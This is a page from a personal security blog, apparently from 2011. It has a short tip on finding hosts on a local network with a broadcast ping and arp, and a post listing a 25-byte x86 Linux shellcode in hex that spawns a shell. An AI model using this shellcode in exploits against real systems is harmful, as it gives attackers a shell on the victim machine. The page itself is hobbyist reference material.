It's me :)Thireus' Website
linkedin | CV | PGP key | about | search | register | --:--:--
Take the blue pill!
User:  Pass: 
Hacking
Tip - Quick Method To Scan Hosts Using ping PDF Print E-mail
Written by Thireus   
Thursday, 21 April 2011 18:46

Assuming the router you're connected to does not filter any IPv4 broadcasts, you can easily use ping to perform a quick scan to get a list of all responding IP around you.

For example, if your network is 192.168.1.0:

ping 192.168.1.255

Will give you something like:

Thireus:~ thireus$ ping 192.168.1.255
PING 192.168.1.255 (192.168.1.255): 56 data bytes
64 bytes from 192.168.1.102: icmp_seq=0 ttl=64 time=0.087 ms
64 bytes from 192.168.1.1: icmp_seq=0 ttl=64 time=0.553 ms (DUP!)
64 bytes from 192.168.1.152: icmp_seq=0 ttl=64 time=124.870 ms (DUP!)
64 bytes from 192.168.1.102: icmp_seq=1 ttl=64 time=0.065 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.454 ms (DUP!)
64 bytes from 192.168.1.152: icmp_seq=1 ttl=64 time=39.073 ms (DUP!)

Then arp will list you all MAC adresses associated to the IP that replied:

Thireus:~ thireus$ arp -a
? (192.168.1.1) at 0:14:8d:41:87:1a on en0 ifscope [ethernet]
? (192.168.1.102) at e3:7a:2b:79:55:11 on en0 ifscope [ethernet]
? (192.168.1.152) at e1:15:d6:55:34:12 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]

I found this trick when the DHCP server of my router was not replying. I performed a broadcast ping as shown bellow. The router replied with its own IP.

 
Shellcode - execve("/bin//sh", ["/bin//sh"], NULL) PDF Print E-mail
Written by Thireus   
Wednesday, 30 March 2011 03:55
Shellcode - Details
System call(s): execve("/bin//sh", ["/bin//sh"], NULL)
Size (char): 25
Shellcode: \x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80
Architecture
CPU maker: intel
Architecture: x86
OS details: Linux
CPU details: i386

 

Last Updated on Thursday, 20 October 2011 15:32
Read more...